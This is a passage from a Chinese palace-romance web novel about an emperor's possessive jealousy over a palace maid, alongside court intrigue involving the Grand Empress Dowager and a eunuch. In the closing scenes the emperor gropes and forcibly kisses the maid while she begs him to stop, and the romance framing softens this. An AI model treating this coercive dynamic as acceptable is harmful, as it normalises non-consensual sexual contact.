疼自是不大疼,只这还是他第一回叫人这番拿东西砸了脸。 妙珠是第一个。 欠收拾不是? 他面色紧绷,眼中怒气升腾,即便不说话都能叫人不寒而栗。 可妙珠却理都不理他,看着那被撕碎的帕子,心也跟着痛,又一头蒙到了被子里头抽抽搭搭掉眼泪。 陈怀衡见妙珠这幅样子,恨不能掐死她。说她不识好歹他又说错了吗?为了一条帕子来和他上房揭瓦就为了这么一条帕子,就为了那么一个男人,现下都敢拿帕子甩他的脸了。 陈怀衡强压了怒气,只最后到底是没把怒火烧到妙珠身上,他撿起了那两半方帕,一点点又给那帕子撕成了布条才肯罢休,又冷冷地看了一眼窝在被子里面闷头哭的妙珠,低低地骂了一声,便不再待,扭头离开了这里。 妙珠起初还能听到窸窸窣窣的声响,后来又听到陈怀衡不知骂了一句什么,最后只听得门被砸得发出“哐啷”一声,而后屋子里头便没了动静。 妙珠从被子里头出来,果真不再见得陈怀衡的身影。 她抹了一把眼泪,低头看到那一地的碎布条,心里难受得更叫厉害,骂了几声陈怀衡,又去撿起地上的那些布条。 陈怀衡不明白她为什么要因 帕子和他置气,而妙珠也不明白陈怀衡到底有什么好去同帕子生气。 她把那些碎掉的布条捡起来,又在心里盘算能不能把这帕子重新缝起来。 神伤之时却又想起了陈怀霖。 他是好人。 他就是好人。 陈怀衡怎么贬毁他,他也是好人。 妙珠,你要记得自己是人。 妙珠,位卑者是不用对自己的卑贱负责的。 这宫里头,对她说过那些的话的,也不多了。 妙珠起身将这一捧布条收好,后来一直到了睡前也迷迷蒙蒙骂着陈怀衡。 她实在受不了陈怀衡了。 如果可以,她巴不得早些离开。 她忽又想那日是不是不该那般冲动,若先再继续哄着陈怀衡,出宫的机会才会更多一些才是。 可是事情已经发生,再去后悔好像也已经没有用了。 没关係的。 没关係,她想。 这么久都忍过来了,总会再能等到机会的。 * 自从那一日之后,陈怀衡大概是也还在生气,已经近乎有半月不曾再和妙珠见面,妙珠乐得他不寻她,便一直窝在自己的房中,怕出了门不小心要碰到陈怀衡,干脆就连门也不出。 也好在荣桃和卿云时时会来寻她说话,她那日子过得也不算无趣。 陈怀衡早在一月十一就已经重新开始上朝,近些时日他心情不大好,就连大臣们都看得出来,甫一开年,大臣们难免惫懒,就在前两日,都察院的佥都御史早朝时在金銮殿上失了仪,便叫陈怀衡拖下去罚了三十板。 可那大臣也厉害得紧,挨了三十板子竟也生龙活虎,第二天还能如常上朝。 这让众人在私底下揣测纷纷,陈怀衡这到底是个什么意思?按理来说三十板子下去,没道理这般快就能好才是,除了陈怀衡放水再寻不出旁的理由了。 可是陈怀衡又为何要放水呢?若他不在意那佥都御史御前失仪,不提这事便是,将这东西轻拿轻放了去,也没人会知道,可既提出来了,又打了那三十板子下去,看样子又是在意这事的,既在意这事,又何必去让行刑的人轻拿轻放呢? 这佥都御史更没想到自己临了临了,年到五十竟还有这么一遭,他在朝中当了这么些年的官,这也是第一回碰到了这样的事,陈怀衡的行径实是叫人有些难以捉摸了。 这三十大板虽说没给他那身上打出什么伤来,可愁得他连续两日没睡好,罢了罢了,圣心难测,圣心难测啊!想不明白便也不再去想了。 朝中出了这么一桩怪事,好再在这之后陈怀衡也没再做出什么奇怪的事情。 而施枕謙却在这事之中发现了一丝不寻常。 不偏不倚三十板,这么正好? 而且,又和那日锦衣卫打妙珠的手法一样,都是在皮上轻轻打过几下,压根就没伤到骨头。 不对劲,十个里面有十个不对劲的地方。 终于,施枕謙再忍不住好奇,下了朝后去寻了陈怀衡。 过完年后,京城里面断断续续下了一月的雪终于停了几日,冰雪消融,空气却更加寒凉。 陈怀衡同施枕謙一起走在回乾清宫的路上。 自从那日施寧煦落水,施枕謙强行问陈怀衡要个交代的时候,他们便再没在私底下见过面了。 寧煦那边施枕谦到现在也没哄好,至于陈怀衡施枕谦自是没有想要哄他的意思。 那日的事他是对不起妙珠,一时气在头上把气全撒在了她的身上,可他哪里对不起陈怀衡? 千万别说是他逼着陈怀衡动的手,他可担不起,那日若没有他,陈怀衡一样会因为别人的话去罚妙珠。 除非陈怀衡决心要护她,不然,什么都不顶用。 是以,施枕谦在陈怀衡面前自不觉有什么不好意思。 一开始陈怀衡看到施枕谦寻他之时,神色很淡,不过还是什么都没说,任由人跟着他往乾清宫回。 回去的路上,两人并肩走着。 施枕谦问起了那佥都御史的事情,他问陈怀衡道:“你打那佥都御史三十大板是几个意思?寻到新的罚人的意趣了?” 陈怀衡斜了他一眼,声音还带着几分冷,他道:“你管我?” 施枕谦叫他这么一噎,吃了个瘪,他道:“你至于吗那日的事你能怪我吗?寧煦落了水,我能不急吗。我一开始叫那小宫女算计过一回,切实是打心眼里看轻了她,后来那御花园里头,偏偏又没人能证明她的清白,我凭什么不多想?你是信她,可你叫我拿什么去信。再说,我又哪里能知道宫里头的情形这么不好” 说到这里,施枕谦的话顿了顿,脸色也没那么好看起来了,他看了看周遭,见没甚人,却也还是压低了声音,道:“上回的事情是太皇太后?” 施枕谦都以为这两年她是消停了下来,可上次的事情回去想了想后,怎么想都怎么觉着不对劲。 不是妙珠,那便说明那事是一场阴谋。 那种阴谋不会是太后的手笔,她没必要去为了一个小宫女给自己的儿子寻这样的麻烦来,而且他和陈怀衡想的一样,一致认为太后的手段没那么缜密,若是她所为,总能寻到什么马脚。 既不是她,那唯一的嫌疑人就只有太皇太后。 很难再有其他的人。 朝中的局势施枕谦是知晓的,当初太皇太后手握大权,可自从陈怀衡长大后,便渐渐退了下去,本以为年纪大了也该安生,谁能想到,竟还这般不服老,想着法子作妖。 一想到她算计人连带着宁煦也算计进去,施枕谦就恨得咬牙。 可大抵确实是像宁煦讥讽得他那样,他欺软怕硬。 对妙珠他重拳出击,可对太皇太后他又没有办法。 气得腮帮子咬大了一圈也没法。 不过也好在后来陈怀衡对孙家的人出手了,施枕谦的气也才舒畅了一些。 可即便这事已经快过去一个多月,再去提起也难免心有芥蒂。 不说施枕谦,一看陈怀衡也还在记着那事,只是他实在不明白他弄这么一出是做些什么。 打那佥都御史三十板子做些什么? 即便是没把人伤着,可他都那把年纪了,哪里惊得起这折腾,最近施枕谦见他上朝时都是一幅昏昏欲睡之态,俨然是睡没太好,看来是叫陈怀衡这番折腾得难眠。 施枕谦疑惑不解之时,便听陈怀衡忽地开口道:“妙珠最近被旁人哄骗了。” 施枕谦眼皮一跳,问:“这是什么意思?再说,和这事又有什么关係。” 饶是和陈怀衡相识这么些年,他一时间竟也弄不明白陈怀衡的脑子里面到底是在想些什么了。 不,有关系。 那太有关系了。 陈怀衡这些时日左思右想,妙珠到底是从什么时候开始变得古怪起来的,想来想去,也只能是推脱到那三十大板的身上了。可是不 应该啊,不疼的,真的不疼的,那三十板子怎么会把她打得完全变了一个人呢? 陈怀衡想,或许是他对疼痛的感知和妙珠对疼痛的感知不大一样,所以,他又一次在佥都御史的身上去试验了一番。没错的,他没错,三十板子根本就打不出什么伤来,那佥都御史都五十岁了,第二日都能生龙活虎,妙珠她才十六岁呢。 想来想去,妙珠的古怪一定是受了陈怀霖的挑拨离间。 对,一定是自那之后,叫陈怀霖寻到了趁虚而入的机会,才会让妙珠变了心。 陈怀衡又一次重复道:“妙珠是被陈怀霖哄骗了。” 他丝毫不去提妙珠背叛他的事,只说她是叫旁人哄骗了。 没关系。 没关系的。 他心地善良,情恕理遣,他会原谅她犯的错,他会将她从歧途拉回来的。 施枕谦看着陈怀衡,即便是不明白他心中所想,可也看出他的古怪了。 他那眼中带着的情绪,实在叫人难以琢磨,竟连施枕谦都一时无话可说。 过了良久,他才吐出一句:“别个儿是那小宫女没叫人哄骗,你倒是先疯了吧” 施枕谦竟忽地想起那日他和宁煦离开皇宫的那日,她对他说的话。 宁煦说,你看着吧,怀衡哥迟早是要后悔的。 那个时候施枕谦可没将这话放在心上。 可是而今,竟也莫名觉得不是没有可能。 陈怀衡听到施枕谦的话,淡淡道:“我疯了?我有什么可疯的,是她疯了才对。” 第45章 第四十五章好个深情厚谊,叫朕瞧了都…… 施枕谦終抿唇无言。 说不通的。 和陈懷衡是说不通的。 他就是这样的性子,说得通也不是陈懷衡了。 不过施枕谦还是提醒他道:“总是莫弄太过火了些,伤了人,你自己也不痛快。” 許是对上次的事有所愧疚,他竟还为妙珠说话。 两人说话之间已经不知不觉走到了乾清宮中,却不知黃坚白是什么时候等在这里了。 今日黃坚白早朝告假,说是有事要去处理,现在事情处理完了?怎么等在乾清宮这里。 施枕谦见黃坚白在,刚好也没甚再话再好和陈懷衡说,转道便告退出了乾清宮去。 黃坚白上前,向陈懷衡行了个礼,陈怀衡挥手免礼,两人前后脚进了殿内。 陈怀衡径直走向主座,他向黄坚白问道:“晨时去了哪里,事情是忙完了,往这跑?” 黄坚白连连诶了两声,道:“忙完了,就是冷宮那边出了些事” 黄坚白提起冷宫二字,又去觑陈怀衡的眼神,见他脸上不曾有什么异样,便又接着道:“岑岑今个不知怎地发了病,和冷宫其他的那些疯妃子扭打了起来,我便趕过去瞧了瞧,一过去,便看到岑岑的脸都叫那些疯子打出了血来。” 陈怀衡垂着眼,淡淡问道:“然后呢?” 分明是冬日,这黄坚白的额上不知怎就沁出了汗,他道:“我看岑岑伤得厉害,便自作主张先带他从西北角那里领了出来,陛下若要责罚,我也认了。” 听到了黄坚白把人从冷宫带出来,陈怀衡也并没有什么太大的反应,他只是掀起眼皮,看向他似笑非笑道:“朕对他向来是没意见的,只是看掌印这架勢,也是不怕皇祖母了。” 宫里头的人,都是些个见微知著的好苗子,大概也看得出太皇太后差不多丢了勢。 还记当年死去的林首辅就新政一事可是费了不少的功夫,最后甚至还没了性命,然而陈怀衡这回的新政没磨几个月便推了下去。这新一代的首辅陆鸿仪,虽和她关系匪浅,可他到底只是一个守成之人,总也不会太过去和陈怀衡作对。 而太皇太后的身子也越发不好了。 前段时日,陈怀衡还处置了孙家的人。 孙家,那是太皇太后的母族。 一见事情有了苗头,黄坚白这便起了那些不干净的心思,将人从冷宫中带了出来。 他被太皇太后压了这么些年,却也没有办法,他只是个太监,那便只是皇帝的私仆,一切都只能仰靠帝王,前些年间帝王岁小勢弱,他便也只能任由太皇太后压着,可如今,那都不大一样了。 黄坚白那双阴毒的眼睛難得有一些其余的情绪,他叹了一口气,对陈怀衡道:“岑岑也在冷宫待了快八年了。” 自从先帝死后,他就被太皇太后丢到了冷宫里面。 在冷宫里面待个八年,不疯也要疯了。 八年了,也該出来见见外面的太阳了。 陈怀衡道:“朕也还是那句话,随你,人毕竟也不是朕送进去的。” 黄坚白听他这样说,便知道他是不再插手这事了,他在心中悄然松了口气,又试探问道:“那若是太皇太后娘娘问起来” 陈怀衡想到了什么,唇角勾起了一抹冷笑,他转动着手上的玉扳指,道:“他当年好歹服侍父皇那么些年,也实不該在冷宫了却残生,她若寻来,只管找朕就是。” 黄坚白垂着眼,眼皮下的眼珠提溜提溜转,他看出他们那两人是闹了不痛快,现下陈怀衡这样说,无非也是在给太皇太后寻热闹,毕竟放在以前,陈怀衡又哪里来管他这个老太监的死活。 不过他们两个吵起来了。 那感情好,阎王们打架,小鬼在底下捡漏。 黄坚白办完了这事便离开了这里。 他回了自己的住所,岑岑已经被他从冷宫中接回来安置了下来。 岑岑现今也有四十年岁了,在冷宫里面待着的八年,让他再没当初风华,脸上全然都是岁月痕迹,那双脸颊瘦削到了凹进去,皙白的皮肤上不少皱纹。 他已经叫人净过身了,身上不再是如早晨刚接过来那会狼狈,只是那脸上还有早上和人掐架掐出的血痕,十分明显。 黄坚白蹙眉,责问底下的小内监,他道:“可给人上过药了?” “还没呢,大人” 黄坚白骂了两声,踢了一脚过去:“蠢货,这点眼力见也没有,滚下去拿药。” 小内监忙退下去拿了药过来。 待药拿了过来之后,黄坚白将人趕走,自己亲自给岑岑上药。 岑岑坐在床榻上,抱着自己的两膝缩着,口中仍旧一直低喃着那句:“幺儿,红花开了,紫禁城里头要开始死人喽。幺儿,红花开了,紫禁城里头要开始死人喽” 黄坚白走到岑岑跟前,抓着他的肩膀唤他:“幺儿,幺儿,是阿兄,还认得阿兄不。” 黄坚白其实和岑岑非亲兄弟,只是仁宗还在世的时候,有一回,黄坚白不小心犯了大错,是岑岑求情救他才活了下来,两人后来认了兄弟,在宫里头好歹也是有个伴。 更因着这个恩情,多年后,黄坚白还是使了法子将岑岑从冷宫中接出来。 岑岑听到有人唤他“幺儿”,身子竟忽地抖得厉害,他忽地发作,喊道:“陛下,陛下,救幺儿!救救幺儿!” 黄坚白按着他,不叫他再这番挣扎,他道:“傻子,先帝早殡天啦!” 岑岑終于安静下来一些,不再动弹,只是整个人仍旧缩成一团。 黄坚白叹气,给人按着往脸上上药。 这些年他只能偶尔寻些机会去冷宫瞧他,一开始的时候,有太皇太后的人盯着,他连看也不能够多看,只到了这两年才多了些看他的机会。 太皇太后记恨岑岑,嫌弃岑岑,叫他在这冷宫中受了不少的苦,现下眼看她勢已去,今日也終于有机会将人从冷宫那里接出来。 黄坚白给岑岑上完了药,又抓着他的肩膀道:“幺儿,雪快停了,春天要来了,什么红花开了要死人了的话可不兴再说了。” 岑岑听后,只眸光闪动,仍在发痴,也不知是听没听进去。 西风猎猎,雪停了有两三日了,冰雪消融,现下在紫禁城中也寻不到白雪痕迹。 岑岑听到这话没再开口,黄坚白本都以为他不会再说话了,可过了良久,又听他道:“可陛下死了。” 黄坚白叹了口气,道:“幺儿,现下从冷宫那头出来了,往后也不用再回去了,已经过了好些年了,圣上已经去了,别再提了,叫人听去没由来你就要枭了首。” 听到黄坚白的训斥,岑岑終于闭了嘴,不再说话。 * 黄坚白将人从冷宫接走的消息很快就传到了太皇太后耳中。 有时候耳聪目明也并不是什么好事,耳目是聪明了,听到的东西是多了,可那又有什么用呢?知道了又没办法再去插手,那除了叫自己添堵,便再没任何好处了。 太皇太后自不会去找陈怀衡,毕竟黄坚白已经找过他了。 可陈怀衡却也不曾表露些什么。 上回他的生辰日上,她又给他一个不痛快,却不想,他竟联合那黄坚白同她作对。 太监那群人他都勾结? 果真是不择手段。 或許是因这事缘故,太皇太后那本就不大好的身子,竟就那样支撑不住,病倒了去。 冬天还未过完,还未迎来春天,可她因着一场风寒,竟卧病在床,再難起身。 人还是得服老。 太皇太后终于服老了,却还是不肯服输。 服输 服输是没办法去服的,可服老也是实在没办法不去服的。 只是,她的心气已经不能够和本事相提并论了,所以,最后郁结在心,还是倒在了床上。 她不觉得自己是叫陈怀衡气的,她也只是到了年纪罢了。 陈怀霖听说她病在床上,便赶进了宫来寻她。 皇祖母已经快六十了。 前些年操劳过甚,近些年又忧虑太多,这段时日天气不好,停了雪,空气反倒更叫冷了,一下子她也跟着病倒下了。 陈怀霖对太皇太后向来是敬重的,大家都不来寻她,他还是要来的。 陈怀霖午后来了寿宁宫,太皇太后仍旧卧在床上,宫人们引着他往里殿去,太皇太后听说他来了,也叫人扶着坐起了身。 一场风寒難得叫她脸上出现疲惫,此刻的太皇太后的脸上终瞧出了六旬老人的老态。 陈怀霖道:“近来天凉,皇祖母该仔细身子才是,怎不小心落了病呢。” 说句難听的,她这年纪,生了病那是极容易一病不起的。 就像是当初他的父皇,不过四十,也是一场病,就夺了他的性命。 病啊。病。 多要人命呢。 听到陈怀霖的话,太皇太后那不服输的心也难得伤神了,她道:“病是没什么的,不过是一场风寒而已,服些药下去便也好了,上了年岁的人,生些病也是常事,好孩子,你莫要忧心。这回倒得突然,也无非是叫皇帝气的,你可知道,他为了叫我难堪,竟联结黄坚白那样的人,他竟放任他接了冷宫的那个出来。” 太监这东西,多可怕。 即便他们祖孙之间有再大的不痛快,他也不该去勾搭太监才是。 前朝太监干政之事又还少嗎?那些太监猖狂起来,视天子如委裘,陵宰相如奴虏,狂妄无边,扰乱朝政。 况说,前朝情况更为特殊,她那好儿子,宠幸太监到了叫人无法饶恕的地步,甚至为了岑岑缕次同她顶嘴。 她始终对仁宗的反抗记得清楚,那样软弱的人,却为那恶心的太监和她顶嘴。 許是单纯厌恶,又许是心有余悸。到了陈怀衡登基时,她势必不能再作势内监做大。 灵正二年,陈怀衡十一岁那年,太皇太后发动了给事中们以及都御史弹劾了掌印太监黄坚白,弹劾他撺掇皇帝不务正业。 在那年,小皇帝的寝宫之中多出一些不务正业的小人书,小皇帝开始喜欢看戏曲,小皇帝喜欢开始逗弄蛐蛐 简而言之,小皇帝开始不务正业了。 总归,这一切都被太皇太后自然而然地怪罪到了他身边的那位掌印太监身上。 弹劾的奏本被呈到了司礼监,司礼监掌管内外奏章,所以,其实没有什么事情是黄坚白所不能知晓的。当然,太皇太后也不怕他知道,仍旧是那句话,斗争早开始,早就无需矫饰,他们之间的龃龉世人不知,难道他们自己还不知道嗎?太皇太后那样的强势,她迟早会对黄坚白下手,这事难道还需要去保密嗎? 那些弹劾黄坚白的奏章被呈送到了司礼监的台前,可即便他亲眼看到了那些字字珠玑的奏章却也没有办法。他若是插手此事,怕又要马上被人弹劾干涉政权,那便更坐实他的罪状。 无法,太皇太后制造了小皇帝不务正业的证据,而后,赶走了致使他不务正业的黄坚白。 政场的黑暗之中,制造证据和发现证据没有差别,没人能认得清其中的利害。 彼时的陈怀衡只是一个平平无奇、胸无大志的帝王,群臣待他也不放心。小皇帝年岁宵小没有能力去处理政务,他势必要听太皇太后的话,她是他的祖母,她总不能害了他。 当初就连他的父皇也要听她的话,他便更不用说了。 想当初太皇太后费劲了多少的力气,才将黄坚白驱逐出了乾清宫,可如今他再回去,左右竟也不过是陈怀衡一句话的事。 而那待在冷宫中的人又被重新接了出来,让太皇太后更加清晰地知道,自己早就大势已去。 大势已去 她再不承认,也不得不去承认。 八年的时光,可以改变很多的东西。 有人兴兴升起,而有人垂垂老矣。 她到现在仍旧认为,最大的敌人不是人,只是时间。 她这一辈子斗过了多少人?就连前任的首辅那样强势的人最后都抱憾而终。 她不会承认自己败给了一个二十岁都没到的孙子。 她不服输,可这一刻她的眼中俨然带上了几分疲态,怎么都再遮掩不住。 她对陈怀霖道:“先前你说你不及皇帝,是他比不得你啊,他比不得你啊!” 她为何从前便没发现陈怀衡是那样一个狼子野心之人呢? 太皇太后的眼中莫名出现了一种名为悔恨的情绪,叫人看不懂也摸不透,她说的这话堪称大逆不道,可她却已经全然不在乎了。 陈怀霖惊愕地抓了太皇太后的手,阻她道:“皇祖母,不兴说这种话。” 太皇太后想说些什么,然而看着陈怀霖,眼神翕动,终是没说。 她呵笑了一声,不继续说这事,只道:“当初我答应了你父皇不杀他,那我便也不会杀他,只他们之间也太叫人恶心了些。现如今啊,你那弟弟却又放了他出来,你说说,这宫里面还有纲常可言吗。” 陈怀霖道:“父皇同那内监之事也不敢妄说,史书也并没留下父皇宠幸于他的事实。” 再说纲常。 天下万物皆帝王私产,男也罢女也罢,不男不女也罢。 在这紫禁城中,懦弱的帝王便是看上了卑贱的太监,那也无非是顾影自怜,若真说有什么龃龉,那也太符合人情和纲常了。 太皇太后呵声道:“便是你也这样说,看起来还是我迂朽了。” 两人说着话时,外头来了人通禀,说是陈怀衡喊了陈怀霖过去。 看来今日他入宫的消息是传到了他的耳朵里面,这便喊了他。 太皇太后也大概能猜出陈怀衡是所为何事,上回妙珠当着陈怀衡的面说要去陈怀霖的身边陈怀衡这人独独心眼最小,怕是也叫记恨上了陈怀霖,只不知妙珠又是如何了,有没有叫他罚了又或者是干脆赶出宫去? 乾清宫那边的动静她是再打听不到了,她没机会再去插手陈怀衡的事了。 陈怀霖还不知那日乾清宫发生的事情,还以为这回过去是因为新政一事。 直到太皇太后对他道:“想来是上回初八发生的事。” “陛下生辰那日?那天发生了何事?” 太皇太后笑道:“你那日走得早,可能还不晓得吧,妙珠说想要个能留在你身边的名分。” * 陈怀霖从寿宁宫,动 身前往了乾清宫那边。 在和妙珠背着他私底下见面之时,他也早就猜到会有这一天的到来。 若要人不知,除非己莫为。 既做了这样的事,他也是不大怕被发现的。 只是妙珠的举动倒是出乎他所想,他没想到她会直接在陈怀衡面前开诚布公。 或许,她也再受不住了。 才会连忍耐都不想再忍耐了。 才会在那样的日子里提出了那样的请求。 这样想来,便也没什么好出人意料的,反倒是意料之中会发生的事。 陈怀霖离开了寿宁宫,往乾清宫的方向去,等到了的时候,陈怀衡已经坐在主座上等着他了。 此处不再见得妙珠的身影,也不知她现在在何处,人又是否安好,陈怀衡那日又是如何罚了她。 陈怀衡正在处理政务,一直听到宫人们通禀的声音也没抬起头来,直到陈怀霖走到他的面前行了个礼,他才终于有了反应。 此时正逢未时三刻。 这段时日的京城天气一直都不大好,下午的天气也一直都是阴阴沉沉的,殿内不大亮堂,已到一月下旬,空气仍旧寒凉,半开的门窗偶尔透进丝丝冷风,带来阵阵凉意。 陈怀衡放下了手上执着的笔,抬眼看向了他。 再看到他,他自不可避免就想起了那不知死活的妙珠。 他声线泛寒,对陈怀霖道:“知道朕今日唤你来所为何事?” 他方才是从寿宁宫那边出来,太皇太后应当和他说了那事。 陈怀霖也懒得撞傻充楞,“嗯”了一声。 这简简单单的一声,是应答,是承认。 他对他同妙珠之间的龃龉也不曾否认。 陈怀衡见他应得这般干脆利落却又不大痛快了。 他咬牙道:“故意的吗?故意哄得那个小傻子对你死心塌地的来恶心朕?又还是说朕的东西,你就喜欢来抢,横插一脚?” 陈怀霖这人,表面一幅光风霁月之态,背地里头做的事倒比谁都脏一些。妙珠是他的,他难道看不出来?他竟还厚颜无耻地去引诱哄骗她。 净喜欢旁人的东西,他岂不是下贱。 陈怀霖却道:“妙珠她不是物件。” 所以她也不会被人抢走,她愿意选谁就选谁,没人能胁迫。 同陈怀衡的些许恼怒相比,陈怀霖自进了乾清宫后便没有什么情绪了,甚至就连被陈怀衡撞破的胆怯都没有,只有在说着这话之时,不自觉,不认可地蹙了蹙眉而已。 陈怀衡听到这话却兀自发出一声讥讽冷笑:“装什么圣人呢?若你心思澄明,也不该哄骗她,这等事都已经做了,便少来装模作样了。” 面上的话说得多好听,想来也是这一句两句狗屁话哄得妙珠死心塌地。 可是若他真待她好些,岂能诱她至此等地界,现在闹成这样,除了让她处境更叫艰难,又还有其他的好处? 若真对她好,便该滚远一点。 说来说去,陈怀衡也只觉陈怀霖单纯只是在给自己寻不痛快罢了。至于他口中所说其他的话,全都是些借口,还是些最叫人觉得恶心的借口。 陈怀霖也无奈至极,他道:“陛下若要这样想,臣也实在没办法。” 他非要这样想,他能怎么办? 他和他说,妙珠不是物件,结果呢,陈怀衡说他只是在说些哄人的话。 哄人是这样哄的? 他若真要哄妙珠,又何必于这番木讷。 陈怀衡只居高临下蔑着陈怀霖,他听到他这话却也没有羞恼,手指有一下没一下轻扣着桌案。 他冷冷道:“手足、重臣,你是真觉得朕不会动你?才这般有恃无恐吗。” 先帝留下的皇子不多,而陈怀霖又是极出色的一个,这些年留在京城之中,协助着陈怀衡,也从不曾犯错,更不用说他为人品行甚好,同他相处过的人都待他颇为赞赏满意,若对陈怀霖下手,虽然不是不行,但影响也确实不好,再说,新政推行如此顺利,他也没少在其中调和。 手足、重臣。 这两个字所蕴含的情感并不浅薄。 可是他引诱妙珠。 陈怀衡绝不能容许这样的事发生。 他容许陈怀霖犯错,可对他起的那些龌龊心思绝对没有容忍的余地。 陈怀衡看着陈怀霖,缓缓吐出几个字:“皇兄可知,芝兰当道,不得不锄这句话。” 你再好的兰草,挡了路,那也一样是拔除掉的。 帝王的威仪也好,男人的尊严也罢,一个婢女和亲王勾结在一起,妙珠和陈怀霖勾搭到一起,他到底有什么好去原谅他们的呢? 想到这里,陈怀衡的脸色又阴沉了下来,他竟让人去传话喊来了妙珠。 自从那日不欢而散之后,算起来他也快晾了她有十来日,妙珠听人来喊她的时候,一时之间只觉古怪,她也不知陈怀衡怎么突然想起她来了,可又只觉不能是什么好事。 果不其然,来了主殿这处之后却发现陈怀霖竟也在。 妙珠已经再无法掩藏自己的情绪了,而事已至此,也再没隐瞒的必要了。 她看着陈怀霖,陈怀霖也看着她。 妙珠也不知他知不知道乾清宫里头发生的那些破烂事,知道的吧? 陈怀衡今日找他过来,有提及那事吗?应当是提及了。然而她并没能从陈怀霖的眼中读出其余的情绪,他就如往常那般立在殿内,清清朗朗。 他情绪太过稳定,稳定的又叫妙珠甚至以为什么事情都没发生。 或许陈怀衡还没同他说起那事来呢? 那事也不体面,他和他有什么可说呢,犯错的是她,又不是他,他总不会牵连了他进来 然而陈怀衡开口打断了妙珠那纷杂的思绪。 “过来。” 还在那里和陈怀霖眉目传情,当他死了是不是。 妙珠在此刻敏锐到近乎敏感的地步,她听出了陈怀衡口中的不耐与不满,不知他想做些什么,只不安地抿唇,可最后还是收回了视线,抬步往他身边去了。 人才走过去,就被陈怀衡一把拽去了身边,他将妙珠的手扯过来把玩,轻一下重一下捏着,一边又出言讽刺:“好个深情厚谊,叫朕瞧了都感动。” 第46章 第四十六章他的女人,他不哄,谁哄?…… 妙珠听得陳怀衡这番阴阳怪气,也知他方才定已将那些事在陳怀霖的面前开诚布公了。 陳怀霖还站在一旁瞧着,她想抽回自己的手,却被陳怀衡捏着动弹不得。 妙珠最后还是难以忍受,紧紧皱着眉道:“你能别这样嗎。” 他这是在干嘛?故意的嗎?说话难听罢了,又非要当着陈怀霖的面动手动脚,存心想要叫人难堪。 “你也知道不好意思?那样的话都说得出口,现在还自矜着脸面做什么?” 陈怀衡丝毫不顾忌还有陈怀霖在场,更不顾妙珠挣扎,眼看她还在扭动来扭动去,干脆就用力一拽,将人拽到了身上坐定,大掌牢牢地将其桎梏。 妙珠面色一变,一时之间羞愤交加,那张脸又红又白。她唇线紧绷,看着陈怀衡的眼中俨然带了恼。 即便说陈怀霖是知道她同陈怀衡之间的那些龌龊,可是现下这样子弄也太过恶心人了一些,故意在旁人面前拉扯戏弄她,叫陈怀霖难看,更叫她难堪。她是他的玩物,他又非要这样待她? 妙珠恨他,然而触及到陈怀衡的视线时,只见他冷冷瞧着自己。 她一时间却又被那双泛着冷霜的长眸唬到,怕再挣扎下去他又能做出更不要脸的一些事来,却也不敢再动。 然而,陈怀衡却仍旧是不罢休,那手竟透过了她的外裳往里头伸去。 妙珠被那冰凉的指尖一触,一时惊惶,面色都渗出不寻常的白,她害怕他继续动下去,急急 伸手按住了他那要继续往上走的手。 可她哪里按得住陈怀衡,他顶着她的压力就想要继续往上摸去,妙珠的眼睛已经泛了红,泪珠再忍不住,顺着眼角落下,她低声哀求,道:“不要这样,求你了,求求你了,别再继续了” 若是这里没有旁人,那倒也好,可偏偏陈怀霖又还站在一旁,即便他早已移开了视线看向旁处,然而,羞耻排山倒海的快要将妙珠淹没。 她哭得泪眼朦胧,那双眼睛快被泪水淹没,除了泪,陈怀衡再看不清其他的东西了,只见她平日里头粉扑扑的两颊也惨白一片。 陈怀衡一开始也确实是存了叫那两人难堪的心思,妙珠不用说了,她总归是要些脸皮的,怎么着也都受不住这等戏弄,至于陈怀霖呢,他此举也无异于对他最赤裸以及原始的挑衅。 妙珠是他的。 你起一邊去吧。 陈怀霖的脸色終于不像是一开始那般冷静,他眼看着陈怀衡开始动手动脚,那如风拂面和煦清冷的脸終于出现了一道裂缝。 寒风終于刮到了他的身上。 他撇开了头去没再往那方向看一眼。 两个人一个哭,一个沉了脸,可即便如此,陈怀衡心里头却也没多痛快,妙珠那哭红的双眼叫他更叫气愤。 她在为何落泪? 因为陈怀霖在这,她便难堪到了这种地步。 这两个人,一个两个的都来和他谈什么脸面,那他们又把他的脸面置于何处。 只是,看到妙珠如此求饶,陈怀衡的手最后还是顿住了。 他也不是傻子,相反,在人心这事上诡谲得厉害。 如今妙珠已经快难堪到了极点,她已经哭着求他了,若再下去,她得记恨死他。 陈怀衡将手抽出,他捏着她的脸,嗤笑道:“哪里没碰过,哭些什么呢?” 妙珠已经没脸再说什么了,双手捂着脸,只是一个劲的哭。 眼泪便是她最后的回答了。 陈怀衡終不再理他,视线移向了底下的陈怀霖。 他的声线一如既往的凉薄,出声道:“你早该成亲了,而不是去用那些上不得人的手段哄骗妙珠。” 陈怀霖没有辯驳,妙珠也不敢说话。 陈怀衡当然也不需要他们的回应,他一个人在那里自说自话:“锦衣卫指挥同知有个妹妹,而今正值豆蔻年华,你既选不下来,朕为你选。” 陈怀霖没做声,过了良久,才终“嗯”了一声。 他想要辯驳,可又知道陈怀衡的性子,他而今既已决定好了,说再多也白搭,而且这样的情形之下,说得越多,也只会越叫他坚定心中所想。 说来说去也是白费,到了最后,再多的话也只变成了一声“嗯”,答应了下来。 事情说到这里也没再继续下去的必要了,陈怀霖最后被陈怀衡赶出了乾清宫。 妙珠听到陈怀霖离开的动静,仍旧是没有动作,一直到陈怀衡将她捂着脸的双手扯下。 妙珠的整张脸都快糊满了泪,那双看着陈怀衡的双眼除了怨恨就是怨恨。 陈怀衡看着她这幅模样,喉结上下滑动,刚想开口说些什么却被妙珠先一步打断。 她哭得哽咽,哑着嗓子道:“你好没意思。” 陈怀衡脸色一变,眼底阴郁之气更重,他掐着她的下颌,将她的脸都快捏了变形。 “我没意思?” 看他们两个人不痛快,他就痛快至极。 怎么就没意思了,他看是太有意思了些。 陈怀衡微一低头,就啃上妙珠的嘴唇。 他想要长篇大论地去斥责妙珠这样行为的不正当性,斥责她这般水性杨花,还在他面前和陈怀霖装什么郎情妾意,看了平白叫人恶心,他想了許多话去斥她,可是低头看到她那微张的檀口,莫名其妙就咬了上去。 或許是因为太久没亲她了。 他想。 而且,陈怀衡又想,他说再多的话,也不及妙珠说的一句话叫人生气,倒不如什么都不要再说,把嘴巴给他闭牢了。 他吻着她,一只手扣着她的脑袋不叫她避闪,一只手又如方才那样作恶地伸进了里衣,去完成方才没有完成的事。 他一邊啃着她,一邊道:“没意思是嗎?那我们做点有意思的事好了。” 妙珠推搡他,被他叼着唇瓣,只能含含糊糊道:“你滚开远些” 大概是陈怀霖一走,她也不怕陈怀衡的威胁,现下都能敢叫人滚了。 